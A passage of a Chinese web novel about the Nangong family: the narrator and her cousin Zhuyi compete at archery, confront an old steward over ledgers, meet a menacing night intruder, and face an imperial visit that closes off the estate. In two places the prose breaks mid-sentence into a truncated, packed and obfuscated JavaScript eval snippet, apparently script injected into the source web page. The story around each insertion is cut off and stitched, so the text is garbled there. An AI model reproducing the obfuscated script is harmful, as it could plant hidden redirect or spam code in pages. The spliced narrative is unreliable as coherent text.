我垂下眼睑,不知道天下的男女之情是如何发生的,那种纯然原始的爱慕真的可靠麽。右无浪那个傻子,他说那是东少爷特地送给三小姐的纸鸢。他闲着没事做,要做媒人麽。看他射柳的技术,颠三倒四,我命令他把马交出来。 这时操场上的人越聚越多,间距几尺的树之间来回拉上两层红绳,而中间则是圆形的马场,汉章院的管事在高台处设了铜锣,他煞有其事地敲一记,就代表骑在马上的人可以拔箭了,每人每次十支箭,红绳上绑着不同颜色的香囊,看起来黑色的香囊最金贵,因为束在上方的树枝最细最短。 我把右无浪拉下马,又卷起头发盘到头顶,挑了一把最软的弓。井生一再嘱咐我要当心,别从马上掉下来。怀东则十分熟练地跨上马,他朝远处的管事挥挥手。这时管事又在红绳上系了多个香囊,引得围观的人群都高兴地鼓掌。于是铜锣一响,我就在马蹄声中雀跃玩起来。 起初我控制不好马和发箭的时机,射空了好几支箭,迟疑片刻,怀东又射下一枚黑锦囊。他收缰回头朝我笑,露出一排大白牙。真是驾轻就熟,我看了几遍他的姿势,自己琢磨了一会,耽误了许久都不敢发箭。这下别人的箭都射完了,操场上只剩下我们两个。 “小冰妹妹,这是最后一支了。”在锣鼓的助阵中,他回调马头,和我一个方向,看来我们看中了同一个锦囊。 我连忙拔出箭,那只摇曳在柳条下的黑锦囊是我的。这下我没有犹豫,在马停稳的瞬间就瞄准射出。看来十有八九就到手了,可是未到半程,我的箭被打掉了。 我瞪大眼,卞怀东不仅打掉了我的箭,还精准无误地将那段细软缠绵的柳枝也打落下来。他轻轻拍了马腿,伴着有节奏的马蹄声,把那只黑锦囊取回来。 周围的人群一片叫好,热浪翻滚着少年的热情,他明亮的眼睛正期待被人赞美。 “怀东哥哥,”我在马上拍手,“好厉害啊。快教教我。” 而我的赞美根本微不足道,右无浪的声音盖过了我。我转向人群,右无浪简直在手舞足蹈,他似乎和操场的许多人都熟识了,起劲地夸着他们家的东少爷。 那时我蓦然想起那位在阴影下禁锢的少年,不过只是片刻的踯躅,潋滟的阳光下容不下阴影,我和怀东很高兴地回到人群。 那些香囊里没有什么新奇的东西,我射到的是一枚图章,我拧着眉,心想送给叔父算了。而怀东射到好几个香囊,他在树荫下面拆开,有小豪笔,有绢帕,居然还有一包花籽。汉章院真是节约开支。 我沉下脸,刚才的欢乐劲没了大半,为了张罗这次端阳节,我可是没少送钱。只有朱翼会捧着花籽说:“回去种在花圃里,好期待哦。” 怀东也很期待,他继续拆开那只黑色锦囊,里面是一条纤巧的绯色宫绦。宫绦本身没什么特别,只是它的末端系着羽毛,一根同样绯色的羽毛。 “那是孔雀毛麽?”井生拿起来研究了半天,“是孔雀翅膀上的毛,只有翅膀上的毛才这么健硕。” 怀东表示他没见过孔雀,不过宫绦上还串了珠子,明显给女儿家用的。 “那送给我吧,怀东哥哥。”我顺手拿过来,心里在思忖一些事。不过我没忘记朱翼,她难得那么安静,她拿了花籽和绢帕,可这件明显更衬她心意的宫绦,她却没有抢。 宣和六年,我和朱翼长成亭亭玉立的少女。有些是你非走不可的路,有些是你要放弃的东西。我把那枚耀眼的羽毛从宫绦上拆了下来,我想把它锁进柜子里,可朱翼又把它拿出来,她把它系在腰带上。 “小月,你知道自己在干什么?”睨一眼她罗裙上的羽毛,还有晨光下她几乎透明的脸庞。 “我觉得好看嘛。”她在我面前转了一圈,簌簌翩翩。 我低头看账册,灰毛伯伯在这里做了多少年管事,他和南宫冒是同一辈的人吧,算起来比我长了两辈。 “小月,我可是很喜欢怀东哥哥的,我也喜欢姑奶奶。你不希望他们受到伤害吧?” 她坐到我身旁,摇着腿,又扳手指。 “不知道你在说什么…” “你要是惹了不该惹的人,”我尽量用平静的语气提醒她,“你能承受后果麽?” 茶炉在我俩之间嗞嗞作响,隔着水雾,她生气说道:“我不知道你说什么。” “你要是继续装傻,我也没办法。”我也生气了,啪啪翻着账册。 “哼,我才不傻…”她夺过我手里的东西,“我早看出来了,你想让我进宫嘛。别以为我不知道,你想让我进宫去当尊菩萨,好保佑你们所有人的荣华富贵。” 我也站起来,同她大眼瞪小眼。 “就算是这样,那有什么错。” 她一脸委屈。 “你管不着我。小冰是自私鬼。” 我自私?我刚要发作,毛大灰在门外待见。 屋内情势堪忧,朱翼泪眼汪汪的,而我冷若冰霜。 “大小姐,你怎么哭了?”老灰毛一直偏心自家的小姐,对我这位不速之客心怀芥蒂。 我理好情绪,不管朱翼了。我朝他恭敬地微笑,又找了把大椅子。 “灰毛伯伯,我想问问宣和年间货品进出登记的事。”册子里都用红线圈注,我努力让他看清楚些,“你瞧这里,宣和三年五月,小麦玉米各五十斗出,蛇胆十只入,孔雀一双入,西州鼓城。这样一句话就完了,可是入库的蛇胆去哪了,孔雀也没有踪影。这几个月来,我发觉许多这样的条目,看来以后造册的规矩要改一改了。” 老灰毛耷拉着眼皮,只望了一下我翻给他的页面。 “三小姐,蛇胆自然是吃掉了,至于孔雀,那些年艰难,养不起这样金贵玩意儿,应该是卖掉了。所有钱财货物,登记造册的规矩,都是老爷那辈儿留下的。老夫只是按照家翁的指示办事。” 听说这位灰毛伯伯自幼跟随南宫冒,他自然不把我放在眼里。 “那么孔雀卖给谁了?卖了多少钱?那些钱去哪了?”我指着页面,“要是伯伯当时将明细入簿,那么我们小辈看起来也明白。” 对面的老人家却抿着胡须。 “看来三小姐想改规矩。” 他面朝朱翼问道:“大小姐的意思呢?大小姐想把祖父立下的规矩改掉麽?” 朱翼有点为难;而我收起账册,把茶杯里的水洒了。 “按照家翁的意思,如今是两位小姐一起管家。怎么前前后后,我只听到三小姐的声音。” 看来恭敬的微笑挡不住他的不满,也挡不住我的锐利。他也许不知道,任何人想兴风作浪,挑拨我和朱翼的感情,都会被我立刻扑杀掉。在小仓山就是如此。 我换了一副笑脸:“还是说说孔雀去哪了?” 老灰毛回答:“我记得了。宣和五年,送给小衡王爷家了。当时,我写信告诉了青川姑娘。那原是一对玩意,不值什么钱。” 朱翼想息事宁人,可是她刚才与我吵了一架,现在也不愿和我讲话,只对老头儿说:“那就好了嘛。她想知道什么,册子上没有的,你尽数告诉她就是了。” 送给别人了,还不值什么钱。朱翼,你不能只看见表面的一派升平。 “灰毛伯伯,五十斗麦子加上五十斗玉米,在宣和三年可以换多少白银?”我问他,其实我并不想在朱翼面前为难他,“宣和三年,战祸连绵,口粮极为珍贵,以巴陵地界为例,二两足银才换一斗米。你在那年,拿着救命的口粮,去换了十个胆,还有一对玩意儿?老人家,你在诓我吧?” 毛大灰从椅子上站起来,耷拉的眼皮上下翻跳。 “我是晚辈,不想让您难堪。”我发觉朱翼紧张的表情,好像防止我吃了他似的,“从前的事不跟你计较。但是未来,一纸一线,来龙去脉,都要记录清楚。规矩是人立的,谁当家自然就听谁的。您的阅历远比我们多,回去想想接下来该怎么做。” 那时,毛大灰极为震动地摇晃了一下,他挪一下嘴皮,似要和我解释什么,可他没有开口。他用奇特的眼神打量了我一下,然后和进门时一样傲慢地走掉了。 等到四下安静,朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“两位小姐,我们夫妇两个在这里守了二十年,婆娑人来了也没走,为主家看着老宅。我的腿就是给他们打废的,脑袋也磕了一下。这几年管着厨房的差事,也算是个营生。如今有人来抢饭碗,要把我们赶出门去。我们还有一窝孩子,这是欺人太甚了…” 我叫他住嘴。 “谁要赶你们走了?” 六嫂子抹把泪:“不就是燕老娘。昨天吵起来,她把我十几年用的铁锅给砸了。那锅可是厨房里的利器儿。” 我有点想笑。朱翼动容地说:“那可不地道。有把顺手的好锅,炒的菜也入味儿。” 那对夫妻连忙点头,看来还是大小姐理解他们。 燕大娘是跟着我们从小仓回来的,她在小仓就管着吃食。我想起阿志姑姑对于吃食的谨慎,思索片刻,不准备换人。 “家宅里的差事那么多,再派个好的给你们。” 我正想说,你们挑个自己喜欢的,谁知夫妻二人先哭起来。 “三小姐,俗话说一个萝卜蹲一个坑,我们就是蹲厨房的,其它地方去不了,其它地方也有各司的人啊,我们也不好去抢别人的营生。若是真被赶出来,哪有脸面还在主家做事。” 看来厨房是个肥差。我另外挑了几件好差事,他们都摇头,弄得我火气都上来了。 “再吵闹,就出去。” 突如其来的安静,夫妇俩哭诉的嘴未合上,呆呆望着我。我可是不怕担恶人的名声,少来这套。 朱翼连忙笑道:“三小姐不是这个意思。恩…”她想了片刻,突然想到什么,“到了秋天,汉章院正式开课了,那里也设厨房,主要供给茶水点心。你们若不介意,出了南宫家的老宅,可以去那里当差。” 那真是个肥差,看夫妇俩激动的样子,朱翼真慷慨。六嫂子把朱翼当成菩萨了,一个劲地道谢。 “可是这几月,你们不能再和燕大娘起冲突。”菩萨又说,“厨房里的事不多,你们协商好当班的时间,交班的时候上下交代清楚。” 他们当然答应。他们本来就喜欢朱翼,如今更喜欢了。老六说下次去山崖,会寻几支雪莲回来,给小姐们养身体。而六嫂怯怯看了我一眼,因为我一直没有说话。 我怎么会反对朱翼呢,可我也不想让他们太得意,就随便问一句:“六哥脚伤了,也能爬山崖。” “当然可以,我们两个一起去,已经习惯了。那雪莲剁碎了熬粥喝,对人的脾胃最好。我们这儿的人,常常去山上摘些小棵朵的,这样不引人注目。” 我听出点兴趣,让他们说得详细点。 “三小姐,雍州的雪莲是药膳珍品,每年要上缴朝廷定额数目。比如这年采到十支,按照过去的惯例,要送走七支。不过,官中要的都是整朵的大花,品相质量都要一流。我们这些粗人,摘些次品就行。” “三小姐,农产也是如此。刚出土的拔尖新鲜东西,先送去朝廷。前些年战事吃紧,我们家有主君娘娘在京都,所以送得更勤。老爷是忠君爱国的,我们也都听话。不过大家都有应对,田里的东西也能克扣些出来。至少跟着主人家,这些年也未吃苦。我们一直很感激。” 我明白了,咳了一声,让他们秋天去汉章院当差。我把小厅四周的窗门都打开了,好让初夏的微风吹进来。现在闲人都走了,只剩下我和朱翼。我都忘了刚才与她争执过什么。 在很久的沉默之后,我对她说:“小月,我没有资格命令你做什么。可你也要明白,我说的与做的,都是为了保护你,保护我们的家。” 而朱翼冷淡回答:“别往自己脸上贴金了。他们都叫我大小姐,我才是要守护家族的人。你以为我不懂麽?” 她似乎联想到刚才的场景,突然感叹:“我就是那朵品相一流的大雪莲,要上缴给朝廷。” 你会比雪莲更有用的,你刚才体恤下情,用人得宜,很容易得到拥戴。而且,我会帮你的,带着家族保护你。我望着她逐渐成熟的眉角,又摸摸自己的。我们的争吵维持不了多久。她把那枚红羽毛收了起来,性子更温柔了。宣和六年真是温柔的一年,南宫本家的大小姐不再任性自专了,而那位锐利的三小姐也被世俗琐事磨平了耐心。我们都在静静成长,温柔地等待命运的安排。 19. 南宫世家(十三) 最近夜里经常惊醒。我在心悸与混沌中睁开眼,觉得背上出了汗,就起床找水喝。夜里真静,与刚才的噩梦截然相反,看来醒着比睡着了安心。于是我披了衣服,走到院中的石山上坐着。 刚搬到雍州的时候,我和朱翼同时看中了这间小院,于是她住正房的东厢,而我住在西厢。如果她夜里睡不好的话,通常会摸到我床上来,那时我俩就和小仓一样,挤在一个被窝里。不过那也不经常发生,因为睡不好的人通常是我。而我喜欢爬到院里的石墙上,那里能感受青瓦白墙在夜幕下的静谧。 为什么老是心神不宁呢,我吸着带海风的空气。今天晚上的天空是墨黑色的,一丁点星光都没有,更别提月亮了。只有一盏微弱的烛光,在很远处,若隐若现。我的视线跟着那抹烛光晃动,渐渐起了睡意。已经很晚了,那是值班的家丁点的亮吧。可是那里不是门房的位置。 我从石墙上爬下来,取了盏油灯,迟疑片刻,朝混沌的夜色里走去。如果没有眼花的话,那个位置是小船王的屋子。他在那里待了一年,一年里我从没见过他。而且,叔父总不让我靠近偏院。家里的一切都是我管,可以他不让我管小船王的事。 在夜色里孤独行走真会徒生恐惧,白天里郁郁葱葱的松叶,夜里看有些鬼魅的姿态,脚下的阴影又像尖锐的魔爪。我后悔跑出来了,走到一半就想回头。这时夜空又飞过一排深褐色的物体,我屏住呼吸,原来是蝙蝠,吓得差点把油灯扔了。这里的几折回廊形势连绵,走了那么久,仿佛没有尽头似的。 就在我进退维谷的时候,迎面又扑来一只蝙蝠。硕大的一只蝙蝠,我举起油灯,青面獠牙的模样,居然有鼻子有眼,原来是个人。此时此刻,人比蝙蝠更可怕。我尽量不让声音颤抖。 “你是谁?” 那只蝙蝠的眼珠子浑浊,而他的身上有血腥气。他没有说话,充满恶意地呼吸着。我倒退一步,准备逃跑。 这里靠近偏院,家丁的屋子都在南面。叔父住得倒近,只怕我没命走到那里。 “别过来,”我举起油灯,而对方则扬起一截鞭子,“南宫府府兵众多,我要是一叫唤,你可跑不了。” 蝙蝠咧嘴一笑:“那也要叫得出来。” 接着他举手一挥,那截鞭子就如灵蛇一样扑过来,先打掉油灯,立刻绕上我的脖子。那截鞭子轻轻一提,我就被扣住了脖颈。 “多好看的小妞。”他扳过我的脸,伸出舌头在我脸上舔了一下。我仿佛觉得被毒蛇的舌头舔了,被勒得快吐了。 那只是须臾之间的事情,须臾之间我的意识就模糊了。这只蝙蝠绝不是普通人。 我朝偏院的方向看去,在还剩一口气的时候,果然小船王出现在重重阴影里,接着卡在脖子上的绳索松开了。 “你在干什么?”他没有走过来。 蝙蝠回答:“逮到一个女人,我正要杀了她。” 于是他慢慢走过来,他早就认出是我了,可非要走到面对面,才佯装久别重逢。 “这是三小姐,”他朝后面的人说了一句,“是我的妹妹。” 他伸出手,作势要拉我起来。 “三更半夜,妹妹是过来赏月麽?”可惜今晚没有月亮。 等我恢复了力气,直接指着他身后的那只蝙蝠。那人自从小船王出现后,就自觉融入夜色阴影中,简直融为一体。 小船王很自然地介绍:“这是左无风,同右无浪一样,从小跟着我办事。” 我想起右无浪在阳光下的明朗笑声,一时间说不出任何话。 “妹妹,你还没告诉我,来这里干什么?” 我瞪着他:“这是我家,想来就来。”反倒是这只蝙蝠,他不经通传,竟然半夜闯进来,还要杀人。 小船王解释道:“别误会。无风知道我受罚禁闭,所以过来看看我。我从小受他保护,刚才麽…”他笑了一下,“他以为你是刺客,下手重了些。” 我是刺客,那他是什么。而且,刚才他还舔我的脸,恶心死了。 “哦?”小船王耸着眉,“这是他不对了。不过,我劝妹妹以后不要晚间出来。男人都是这样,遇见女人就想轻薄。今天幸而有我…” 他说话之间,已扶住我的肩膀,把我带出了原来的空地。等我再回头,左无风早消失不见了。 我当然要告状。第二天清晨,叔父在北院练拳,小船王已经在一旁垂目站立了。今天是他禁足期满后的第一天,这一年的禁锢没有让他改变多少,他更消瘦更苍白,可他看待世人的眼神依然冷漠。 而叔父却带着微蹙的眉头施展拳脚,他说过拳法是用来陶冶性情的,而此刻他的气息并不稳健。我等了很久,他终于释开紧握的手掌。 “你昨晚跑到北院来干什么?”他问我。 我指着一旁站立的人。 “叔父,他有一个侍卫,昨晚差点杀了我。” 环顾四周,没有看到左无风。那个鬼魅一般的夜行者去哪了。 “我知道,他昨晚来过。”叔父看了一下身后,“不过现在已经走了。” 我心中燃起疑惑,这人在深夜匆匆来回,他所为何事。 “你见过左无风这个人麽?他很危险,他…”我能说什么,我的直觉告诉我,这个人代表着世间的阴鸷与邪恶。 而小船王是他的主人。他低眉顺眼地站着,偶尔撇一眼怒气冲冲的我,嘴角还抑不住上扬。 叔父并不在意左无风。他对小船王说,在北面的老榆树巷子里准备了一间屋子,那里风景很美,他可以好好休息。临走那刻,他又对他说:“我再说一遍,以后左无风不能靠近两位小姐。” 等到晨光散开的时候,家丁开始打扫院落的落叶。小船王的眼皮都没抬,只是低头答是。他从边门走了,我听到右无浪的声音。 “少爷,你终于熬到头了。可想死我了。”他还哭了几声,如泣如诉,伴随清晨的鸟儿,吱吱喳喳的。 而小船王用同样愉悦明快的声音与他对话,就好像昨晚在夜色帷幕下,与杀手为伍的那个人不是他一样。 我扭头望着门外,家丁陆续把早饭送进来,门口还有女人们浆洗拍打的吆喝,恍然昨晚什么都没发生过。 “小冰,别怪我放走他。”叔父说道。 那时我对着热腾腾的早饭,食不知味。我拨着筷子和勺子,接着又拨着碗和碟子。 “那个人来干什么?为什么不告诉我?” 而对面一向淡然的闲人却露出愁容。 “有些事的确是我掌控不了的。我怕风雨将至,而我们无处躲避。” 我听到这话的时候,晨光正熨烫着脸庞,多么祥和宁静的清晨,我连手指都懒得动一下。 “陛下知道了。那面石碑,还有那件契约。” 那时有无数的念头,就像并排的北雁一样,齐刷刷在我心中飞过;而当我试图理清思绪,这些念头又像清水里挤成一团的金鱼,首尾相接左右蠕动。我想我的脸部有些僵硬,因为一直导不出合适的表情。 “我想,他会来索要石碑的。”叔父的声音在耳旁飘过。 可是石碑还在小仓山。而且,小仓山一直有府兵把守,更何况他们也未必能找到。 “接着,他会来找我。” 他当然会来找你,因为你向他隐瞒了这件事。 “小冰,你觉得怀东怎么样。我想把你们的婚事尽快办了。” 我瞪着他。 “小月会去西北大营待一阵,我多么希望能找到人保护她。” 我捏着瓷碗,就快捏得变形了。我只能琢磨目前最重要的事。 “他会怎么做?” 你相信你的师弟麽;而你的师弟是否还信赖你。我不应该问这么幼稚的问题,还是吹拂海风可以保持清醒。可是这的确是最重要的问题。事到如今,我们能仰仗的只有信赖,如果没有信赖…如果没有的话,那我们只有石碑了。 我心中一个激灵。 “石碑在哪?把它拿回来。” 而叔父则定睛注目着我。 “你和小月不用管这些。” 我腾地站起来,膝盖撞着木几,一点都不疼。 “我和小月不会离开你的。” 在极度的紧张中,我突然想起另一个问题。 “为什么陛下会知道这件事?” 为什么他会知道,而且小船王也知道。为什么他们会知道。 “小冰,你不要那么担心。”他把我按到胸前,就像安抚一只小狗,“这不是你这个年纪需要操心的事。” 我怎么能不担心,你刚才不也愁容满面麽,我推开他的大掌。 “都是我不好,”他低头,默默说道,“从前和云罗写了许多信。她没有烧掉,都藏在暗格里。一年前,琼华宫大修的时候,阿博找到了,才悄悄带出来给我。” 疾风号以更为凌厉的姿态停泊在我的面前。 小船王笑道:“我不能离开雍州。所以只好把它弄过来,闲来无事,摆弄摆弄。” 那时天空阴沉沉的,云朵层层叠叠,偶尔有阵风吹来,会让人不自觉地拢一下斗篷。我并没有从忧虑中缓和过来,相反,在看到这艘船内阴湿的空间和斑驳的锈迹后,那种忧虑化成了恐惧。如果叔父担忧着长丰的反应,他的盛怒和他凌驾于万人之上的权力,那我同时也担忧着身边的人。小船王的捉摸不定,还有他身边的左无风,比起忧虑本身,他们带来的更多是恐惧。 是我想多了吧,之后的几天我也没再见到左无风。而此时此刻,疾风号随意地停泊在海湾,完全是轻松融洽的氛围。怀东研究着船体上的出箭孔,而右无浪则在桅杆旁指挥,模仿扬帆出航的舵手。 “少爷从不带我出远门,我也见不到什么新鲜刺激的事。”他无奈说着。 而朱翼虽然着了凉,精神却不错。她穿了套崭新的石榴裙,却大咧咧地蹲在潮湿的甲板上,摸摸粗糙的出箭孔。 “我永远不明白,那些打打杀杀的事,到底为了什么。” 他们聚到船舱里说起闲话来,而怀东执意不愿到船头去,因为天气太阴冷,风也太大了。可是得知疾风号停泊在雍州的时候,是怀东提议来观看的。他一出声,右无浪立刻附和,而我和小船王则是被他们怂恿来的。 天气与心情都是郁郁的。 小船王对我说:“妹妹,外面可以听到海鬼的声音,有没有兴趣?” 海鬼是什么,我拧着眉头,在犹豫之间,后舱的门打开,他一把将我拉了出去。因为海湾一面背靠悬崖,高处的风倒刮而下,应和着海浪声,疯狂地呼啸作响。 “今天的风还算小呢。”他说,“刮季风的时候,这里就像有无数只海鬼,在齐声哀嚎。” “是你心里的鬼吧。”我凝视着他。 “妹妹总是误解我。”他指着悬崖峭壁,又仿佛在期待狂风暴雨,“我看最近你烦躁得很,趁此机会可以舒缓舒缓心情。” 难道我不应该烦躁?在京都皇城,长丰已然知道了我们的秘密,他会怎么做。我们家族的安危就像现在这样,有无数只海鬼潜伏在阴冷的海面之下。 “难道你不担心麽?”我想,他无所谓的样子是伪装的吧。 而对方则耸耸肩膀:“这是他和他的继承人要操心的事。” “哦?”我望着他,“那左无风为何心急火燎,连夜通知你这个消息?” 他嘿嘿笑起来,避开我的眼睛。 “哥哥,为什么陛下会突然知道石碑的事。你说,他是怎么知道的?” 他那时递给我的眼神,仿佛在说,原来你在怀疑我。 “不是我说的,妹妹。” 海风把头发都吹乱了,我的思绪也成了一团乱麻。这种乱糟糟的心境仿佛很合他的意,他抬起手想捋我的头发,我还未作反应,舱门打开了。 右无浪的脑袋伸出来,他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“妹妹,你被他教得太软弱了,别动不动就气急败坏。总有你明白的时候。”他望了我一眼,“算了,你现在假正经的样子真让人讨厌。我不想和你说话了。” 因为长丰的来临,我们很快启程回老宅。朱翼拉开舱门的时候,曾好奇地望了一眼。 “你们在干什么?” 我被翻起的海浪溅到了,浑身有点冷。而小船王努嘴朝远方,他朝船舱内的人示意。 “雍州有贵客到了。” 于是我们很快离开了疾风号。朱翼挽着我的手,在她看清了那艘船上的徽记后,就一直挽着我的手。回程的路上没有人说话,我和朱翼坐在马车内,她的头一直歪在我的肩上。而卞怀东则一路向前,好像前方有什么东西值得他追赶似的。小船王则慢悠悠地牵着马绳,不紧不慢地跟在马车旁边。就连话最多的右无浪,也安静地坐在前方,专心致志地驾马。看来这趟出行真是糟糕透了。 我们并没有见到长丰,门厅里等着是阿志姑姑。我惊讶地发现,她比在湖畔小院的那年憔悴多了,她的唇是青紫色的。也许是老宅内的沉静,使岁月流逝得格外慢,阿志立在树荫下的姿态,也像一尊会伫立天长地久的绿植。可是,她那个模样,看得真叫人难过。 “那年中的毒,一直没有缓过来。如今,只能生死由命。” 她携起朱翼的手,又摸摸我垂下的发尾。 “看见你们鲜活的样子,我真高兴。” 长丰和叔父去了北院书房,而我们带着阿志来到了自住的小院。按照她的说话,这次是冒然闯入,不讲究天家礼节。 朱翼依然关怀着她的身体,她提到了雍州雪莲。 阿志摇头:“灵丹妙药,用过几百次了。用在我身上,只有浪费。” 除了本身的疾病,她身上还有隐约的颓废,那种颓废是从她心底蔓延而开的,与中毒无关。 “内宫生活总是单调的。陛下突然想来趟雍州,我也是求之不得。” 我仔细观察着她的神色。 而朱翼递上滚热的茶水,她俩就讨论起茶叶的选品来了。阿志微垂的眼角慢慢展开,她的嗓音也渐渐温润,她仿佛许久没有这么交谈了,和朱翼聊得如此投契,连苦涩甘甜也能品论那么久。她在内宫中的生活一定很寂寞。 “我说得太多了。”她朝我笑笑,怕冷落了我。 我折回自己想知道的事,又问起陛下为何突然驾临。 “不要担心,陛下只是太难过了。”她说,“他想出来透透气吧。那个好不容易生下的孩子,冬天的时候夭折了。你们都知道吧。” 我听过。那时我就想到姑奶奶曾说过的话,子嗣不旺,是王朝的劫数。 阿志又垂下眼角。 “他一直不开心。而且,他老是担忧,担忧和恐惧。” 但凡血肉之躯,都有担忧和恐惧。翻出了那件石碑,我们会担忧,而长丰会恐惧。 转念一想,看来阿志姑姑并不知道那一切,这样太好了。 “你们会再来京都麽?来看看我吧。”她拍着朱翼的手,我想这是她对朱翼的祈望,“陛下一直盼着你能来。你若能陪伴在内宫,我想陛下会轻松许多。” 也许她认为,这是长丰此行的真实目的。 朱翼看了她一会,然后说:“阿志姑姑,有你陪伴着陛下,其实并不需要我啊。” 在我思索着担忧与恐惧的时候,朱翼也在思索她的困惑。 她浑然不觉尴尬,朗朗陈述着:“我现在明白,能够陪伴自己心爱之人,一直到老,那是多么幸运的事情。” 如果说她的玲珑心肠,真的能触及旁人的敏感与要害,那也是温柔善意的。她用清澈包容的眼底,化解了女人的尴尬。 “小月,”女人拉着她的手,“你说的没错。只可惜,我本身是个微不足道的人…” 我和朱翼都以为她没有说完,可是她却说完了。她依然喜欢摸摸我们的发尾,又摸摸我们的耳朵。她的眼睛里有我们看不懂的东西。我在很多年之后才明白,这是对命运的妥协。 “答应我,再来京都看我一次。” 她用温热有力的双手,握住我们的手。 20. 南宫世家(十四) 从十岁那年,我找到了南宫简,他就一直将我护在羽翼下。我的成长路是一帆风顺的,因为凄风苦雨都被挡去,陪伴我长大的,还是世上最善心的女孩。乌潭的那把火是人生里最惊心的事了,因为那时没有叔父,也没有小月。我曾毫不怀疑地觉得,十岁之后,我的人生找到归依,更何况我还有了雍州的家。 宣和七年的天气真冷,很久不见阳光了,凉飕飕的风从指尖里穿过,抬头只能看见压抑了很久的云。家里的一切有条不紊,没有人抱怨阴沉的天气,我要给穿梭回廊的仆人们让道,他们太忙了,而我在庸人自扰。 我叫来活泼开朗的右无浪。 “家里总有些不一样,你没感觉到吗?” 他的嘴一撇:“天王老子来了,当然不一样了。” 当然,长丰带来了许多人。羽林卫把老宅围起来了,而内官们又替换了家仆,所以连呼吸的空气都不一样。放眼望去,来往的面庞都是陌生的,他们的眼神真冷漠。而风更大了,不像以往从海上吹来的暖风,这风把老宅搞得更阴沉压抑。 “三小姐,你的脸色不好。是不是生病了?”右无浪关切问道。他一点也没发觉周围的改变吗? “井生呢?”此时此刻,我只想找到熟悉的人和熟悉的气息。 “我不知道,”右无浪耸耸肩,“他最近老是神出鬼没,我一直找不到他。” 于是,我压下心里怪异的感觉,一个人在老宅四周又巡察了一遍。家仆们都被限制在西院活动,居然谁也不准许出门,直到我找到他们,他们才七嘴八舌回报一些琐事。有两个内官站在门口,没说两句我就被请走了。 我转身离开的时候,先前异样的感觉更强烈,仿佛整座老宅只剩了我一人。井生不见了,而右无浪也突然没了踪影,我又重新走到回廊,刚才还有人来回穿梭,现在只留了几片树叶,悄无声息地躺在我的脚边。 长丰是昨天来的,今天就把控了这座老宅。我迅速往回走,生怕朱翼也不见了。 我和朱翼住的小院在最南边,每日清晨,朱翼总要在花圃里摆弄花苗。我先是小跑,尔后出于某种恐惧,拔腿飞奔回到了内院。当时花圃没有人,整个院落空荡荡的,每日梳头打扫的女人不来了,屋子里静得出奇。 “小冰,你怎么回来了?”朱翼拨开珠帘,安然地看着我,“请到阿志姑姑了麽?” 我摇头,她的泰然自若并没有安稳我的心情,相反地,突如其来的寂静越发刺激我天然的警觉。 “小冰,你怎么了?”朱翼带着和右无浪同样的表情。 我拉她走到卧室,提示她小声说话。 “家里总有些反常。找不见一个熟人。我心慌得很。” 也许被我的情绪感染,她到门口张望了半晌,又回头看看我。 “圣驾御临,闲人不可走动。昨天阿志姑姑当着所有人说过了,你我不都在场麽?” 的确是这样,可是心慌的感觉是真实存在的,就如层层乌云压顶,找不到一丝透风的漏洞。 是我太敏感了麽? 朱翼说她会去找阿志,让我休息一会儿。而我反射性地拉住了她,我和她一起去。 我们住的小院没什么异常,花圃里的芍药垂着几朵花苞,一副恹恹没气的姿态。朱翼托着花苞,无奈叹气,想起去年的这个时节,真是阳光明媚,赤色的花骨朵开得热烈,花圃里每日都有不少女人聚着赏花。 平日的老宅,我对家仆的走动很少限制,除了起居卧室,他们基本可以在家中随意走动。难怪今日我老觉得古怪。走出小院便是绵长的回廊,墙上的花窗都落了灰,灰蒙蒙的窗棱子在阴天里也不显眼,再有粗黑的树枝挡了光,所以根本看不清窗棱子外的任何东西。我们走出了回廊,中厅内也是肃然的暗色,前后门都虚掩,仿佛这里很早荒废了。我伸手推门,门框处的铜链发出刺耳的开合声。 “好冷啊。”朱翼握紧了我的手。连麻雀都飞得无影无踪,她也觉得古怪了。 “怎么到处没声响呢?”她朝中厅外,那棵参天的大树发出疑问,得到的回复只有树叶的飒飒声。 而我也走至大树下,风把我的眼睛吹得迷离,这里四面空旷,除了翻卷的树叶,只有我和朱翼。我揉起眼睛,四周矮墙上的灰蒙格窗,在泛出泪水的朦胧目测下,多像一只只变形的眼珠子。不,古怪的并不是这反常的寂静。 “小月,你有没有感觉,有人在监视我们?”我在她耳边,用极轻微的嗓音提示。 多年来,她一直信赖我的判断,而此刻她的表情是在询问,这是为什么? 为什么。我聚敛心神,环顾四周。因为在无人可以走动的,偌大的禁地内,如果只有我俩可以畅行无阻,那我们就是被盯梢的猎物。 “走,我们找阿志姑姑去。”她拉着我,我俩像小鹿一样奔跑。 阿志住在西院的厢房内,同刚才家仆的大院隔了两面墙,中间夹着一道石板路。厢房内飘出很重的药味。 一位内官伸手拦住了我们。 “真抱歉,两位小姐。姑姑昨晚病情发作,直到今晨才能睡着。今天,她怕是无法侍驾了,也无法应承两位小姐。” 这位内官拱手垂头,而厢房内静悄悄的。我们想进去探望,可是未开口,眼前的内官便以冷肃的面容拒绝了。 真像一堵石墙。 无法见到阿志姑姑,那其他人呢。我猛然惊醒,这一早上,除了朱翼和右无浪,我谁也没有见到。即使家仆不能走动,可是其他人去哪里了。怀东哥哥去授课所之前,都会在每日清晨同我们道别;右无浪一直跟着他;叔父会来喊我们吃早饭;还有小船王,他也会去授课所,只是出门比较晚。 我转身眺望北院,那里是他们的住所,而心跳止不住地加剧。迷茫之际,朱翼抓住我。 “去找阿爹。” 对,先去叔父那里。我告诉自己要冷静,但只走两步,就在转角处,鬼使神差冒出两个内官。他们是在灰暗的窗棱子后面冒出来的,面目和积灰的窗格一样模糊。 一人对我说:“三小姐,我们抓到一个来历不明的人。他不在老宅家奴的名单上,可他又称认识主家很久了。劳烦您,和我们去辨认一下。” 另一个对朱翼说:“北院的老爷带话,请小姐过去。早饭备好了。” 被逮到的人多半是右无浪,他的身份入簿在京都的船王家,自然不在雍州。我让朱翼稍等片刻,先去解救右无浪。 